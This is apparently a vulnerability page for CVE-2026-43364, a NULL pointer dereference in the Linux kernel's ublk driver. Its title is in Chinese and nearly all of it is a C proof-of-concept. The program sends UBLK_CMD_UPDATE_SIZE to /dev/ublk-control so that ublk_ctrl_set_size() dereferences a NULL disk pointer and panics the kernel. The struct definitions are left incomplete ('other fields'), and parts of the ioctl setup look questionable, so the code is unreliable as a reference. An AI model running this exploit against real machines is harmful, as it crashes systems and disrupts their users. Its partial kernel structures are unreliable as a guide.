CVE-2026-43364 Linux内核ublk空指针解引用漏洞

/* * PoC for CVE-2026-43364 * Trigger NULL pointer dereference in ublk_ctrl_set_size() * Compile: gcc -o poc ublk_poc.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Definitions based on kernel headers for ublk #define UBLK_CTRL_CMD_BASE 0x5A #define UBLK_CMD_UPDATE_SIZE _IOW(UBLK_CTRL_CMD_BASE, 0x13, struct ublksrv_ctrl_cmd) struct ublksrv_ctrl_dev_info { int dev_id; __u32 state; // ... other fields }; struct ublksrv_ctrl_cmd { __u16 cmd_id; __u16 padding; __u32 dev_id; __u64 addr; __u32 len; // ... other fields }; int main() { int fd; struct ublksrv_ctrl_cmd cmd = {0}; // Open the ublk control device fd = open("/dev/ublk-control", O_RDWR); if (fd < 0) { perror("Failed to open /dev/ublk-control"); return 1; } // Setup command to update size // Ideally, target a device_id that exists but is in a stopped or added-but-not-started state. cmd.cmd_id = UBLK_CMD_UPDATE_SIZE; cmd.dev_id = 0; // Assuming device 0 exists and is in a vulnerable state cmd.len = 0; // Trigger the bug with minimal data printf("Sending UBLK_CMD_UPDATE_SIZE to trigger NULL pointer dereference...\n"); // The kernel will dereference ub->ub_disk inside ublk_ctrl_set_size() // without checking if it is NULL, causing a kernel panic. if (ioctl(fd, UBLK_CMD_UPDATE_SIZE, &cmd) < 0) { perror("ioctl failed"); } close(fd); return 0; }